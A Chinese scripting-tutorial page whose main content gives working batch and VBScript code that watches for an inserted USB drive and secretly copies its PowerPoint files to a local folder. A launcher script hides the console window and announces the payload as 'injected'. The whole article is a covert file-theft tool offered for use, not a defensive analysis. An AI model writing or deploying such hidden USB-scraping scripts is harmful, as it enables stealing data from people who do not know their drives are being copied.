当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > vbs 自动复制U盘的内容

VBScript
vbscript,jscript脚本编程教学(1)
vbscript脚本编程教程2利用fso来进行文件操作
修复Windows上面的WScript的脚本(.vbs)不能执行了
让批处理被wsh解析的优点
vbs定时发送邮件的方法与代码
windows.vbs.FSO.文件操作信息.磁盘驱动信息.文件夹操作信息全集
利用vbs自动修改ip的代码
基于逻辑运算的简单权限系统(原理,设计,实现) VBS 版
VBS中常用脚本代码
windows.关于设置脚本的一些基本方法原则
用vbs实现本地连接禁用/启用脚本代码
右键发送(sendto),创建快捷方式到自定义的位置
[导入][原创]用脚本控制迅雷下载
vbs中关于计算机名的相关讨论
用VBS模拟二叉树,可以得到一个排序办法.
创建Guid 的代码
VBS和页面中响应COM的事件的方法和代码
几段非常有用的脚本(来自微软网站,由downmoon精心收集)
使用SAFEARRAY返回的代码
用vbs实现不死帐号的代码

VBScript 中的 vbs 自动复制U盘的内容


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2010-01-10   浏览: 457 ::
收藏到网摘: n/a

运行后当把U盘插入电脑后能够自动把U盘里的PPT偷拷下来。下面用记事本就能实现的批处理或vbs。 思路很简单,高层的东西没什么技术含量,引用几个函数或方法就行了。开始我用的是批处理(如果你插入U盘的盘符是J,把课件保存于F盘)打开记事本,键入以下内容:
复制代码 代码如下:

:cheat
ping 127.0.0.1>nul
if exist J:\*.ppt (copy J:\*.ppt F:\ && exit) else goto cheat

保存为main.bat,本来这个文件就够实现此功能了,但我想不到有什么DOS命令可以隐藏命令提示符界面,就不得不编了一个vbs脚本专门干这事:
打开记事本键入:
复制代码 代码如下:

set wshshell=createobject("wscript.shell")
wshshell.run "main.bat",0
msgbox"已经注入",48,"夜月"
wscript.quit

保存为starter.vbs,注意这个文件要和main.bat放于同一目录下。然后双击starter.vbs即可运行。
  后来,我想用vbs脚本可以搞得更牛叉一点,但这东西已经好长时间不玩了,我连inputbox都不知道怎么用的了,试了几次才搞得好了一点。很方便,打开记事本,键入:
复制代码 代码如下:

on error resume next
dim udrive,dfold,src,ptr
set fso=createobject("Scripting.FileSystemObject")
do
udrive=inputbox("请按如下形式输入U盘盘符","用户指令",H)
loop until(udrive<="Z" and udrive>"B")
dfold=inputbox("请输入目标文件夹","用户指令","F:\Temp")
if (not fso.folderexists(dfold)) then
fso.createfolder(dfold)
end if
src=udrive + ":\*.ppt"
ptr=dfold + "\"
do while(1=1)
if fso.driveexists(udrive) then
fso.copyfile src,ptr,true
set fso=nothing
wscript.quit
end if
wscript.sleep 2000
loop

以上内容另存为xue.vbs即可,双击后运行。